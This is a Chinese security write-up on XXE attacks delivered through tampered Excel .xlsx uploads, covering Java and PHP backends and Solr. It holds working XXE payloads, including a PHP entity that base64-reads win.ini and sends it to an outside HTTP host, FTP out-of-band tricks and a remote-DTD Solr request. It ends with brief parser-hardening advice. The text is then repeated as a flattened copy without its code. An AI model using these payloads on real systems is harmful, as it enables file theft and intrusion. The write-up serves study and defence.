记一次excel XXE漏洞
字数 1206 2025-08-25 22:58:40

Excel XXE漏洞分析与利用

0x00 概述

Microsoft Office从2007版本开始引入了新的开放XML文件格式,基于压缩的ZIP文件格式规范。将.xlsx文件后缀改为.zip并解压后,可以发现其中包含多个描述工作簿数据、元数据、文档信息的XML文件。

关键点:

  • xlsx格式与xls格式不同:xlsx是XML格式,而xls是二进制格式
  • xlsx文件可被修改插入XXE payload进行攻击
  • 常见易受攻击的XML文件路径:
    • [Content_Types].xml
    • xl/workbook.xml
    • xl/worksheets/sheet1.xml
    • _rels/.rels
    • xl/_rels/workbook.xml.rels
    • xl/theme/theme1.xml
    • docProps/app.xml
    • docProps/core.xml
    • xl/styles.xml

0x01 漏洞发现与利用

基本利用步骤

  1. 准备一个正常的xlsx模板文件
  2. 解压文件:unzip ImportProductTemplate.xlsx
  3. 修改其中的XML文件,插入XXE payload
  4. 重新打包:zip -r xxetest00.xslx *
  5. 上传到目标系统

Java环境下的利用

在Java环境中,由于高版本JDK对换行符的限制,读取多行文件可能会失败:

  • JDK版本影响

    • 低版本Java(如1.6)可使用gopher协议带出数据
    • 高版本Java(如8u201+)的FTP协议对换行做了限制
  • 文件读取限制

    • 可能只能读取文件的第一行部分内容
    • /etc/passwd可能返回第一行,其他文件无返回
    • 文件路径中最后一个/b前面的部分可能被返回
  • 特殊字符处理

    • 文件中包含' " < > &等字符会直接报错
    • 可使用CDATA段绕过:
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % end "]]>">
      <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>">
      

PHP环境下的利用

PHP环境下可以使用base64编码带出文件内容:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;

0x02 技术细节与思考

  1. Java版本差异

    • 某些Java版本会在issueCommand()之前通过checkUrl()检查\n
    • 相关类:sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
  2. Solr XXE漏洞测试

    192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser
    
  3. 异常情况

    • FTP读取passwd时可能出现异常:
      org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command
      
    • HTTP读取时可能出现:
      java.net.MalformedURLException: Illegal character in URL
      

0x03 相关案例

  1. XXE at bol.com
  2. QQ邮箱XXE可读取任意文件
  3. 网易邮箱某处XXE可读取文件

0x04 防御建议

  1. 禁用外部实体解析:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 使用安全的XML解析器配置

  3. 对上传的Office文件进行严格的内容检查

0x05 参考资料

  1. Exploiting XXE with Excel
  2. XML注入之DocumentBuilder
  3. scz.617.cn XXE相关
  4. T00ls XXE文章
  5. Leadroyal XXE研究
Excel XXE漏洞分析与利用 0x00 概述 Microsoft Office从2007版本开始引入了新的开放XML文件格式,基于压缩的ZIP文件格式规范。将.xlsx文件后缀改为.zip并解压后,可以发现其中包含多个描述工作簿数据、元数据、文档信息的XML文件。 关键点: xlsx格式与xls格式不同:xlsx是XML格式,而xls是二进制格式 xlsx文件可被修改插入XXE payload进行攻击 常见易受攻击的XML文件路径: [Content_Types].xml xl/workbook.xml xl/worksheets/sheet1.xml _rels/.rels xl/_rels/workbook.xml.rels xl/theme/theme1.xml docProps/app.xml docProps/core.xml xl/styles.xml 0x01 漏洞发现与利用 基本利用步骤 准备一个正常的xlsx模板文件 解压文件: unzip ImportProductTemplate.xlsx 修改其中的XML文件,插入XXE payload 重新打包: zip -r xxetest00.xslx * 上传到目标系统 Java环境下的利用 在Java环境中,由于高版本JDK对换行符的限制,读取多行文件可能会失败: JDK版本影响 : 低版本Java(如1.6)可使用gopher协议带出数据 高版本Java(如8u201+)的FTP协议对换行做了限制 文件读取限制 : 可能只能读取文件的第一行部分内容 /etc/passwd 可能返回第一行,其他文件无返回 文件路径中最后一个 /b 前面的部分可能被返回 特殊字符处理 : 文件中包含 ' " < > & 等字符会直接报错 可使用CDATA段绕过: PHP环境下的利用 PHP环境下可以使用base64编码带出文件内容: 0x02 技术细节与思考 Java版本差异 : 某些Java版本会在 issueCommand() 之前通过 checkUrl() 检查 \n 相关类: sun.net.www.protocol.ftp.FtpURLConnection.checkURL() Solr XXE漏洞测试 : 异常情况 : FTP读取passwd时可能出现异常: HTTP读取时可能出现: 0x03 相关案例 XXE at bol.com QQ邮箱XXE可读取任意文件 网易邮箱某处XXE可读取文件 0x04 防御建议 禁用外部实体解析: 使用安全的XML解析器配置 对上传的Office文件进行严格的内容检查 0x05 参考资料 Exploiting XXE with Excel XML注入之DocumentBuilder scz.617.cn XXE相关 T00ls XXE文章 Leadroyal XXE研究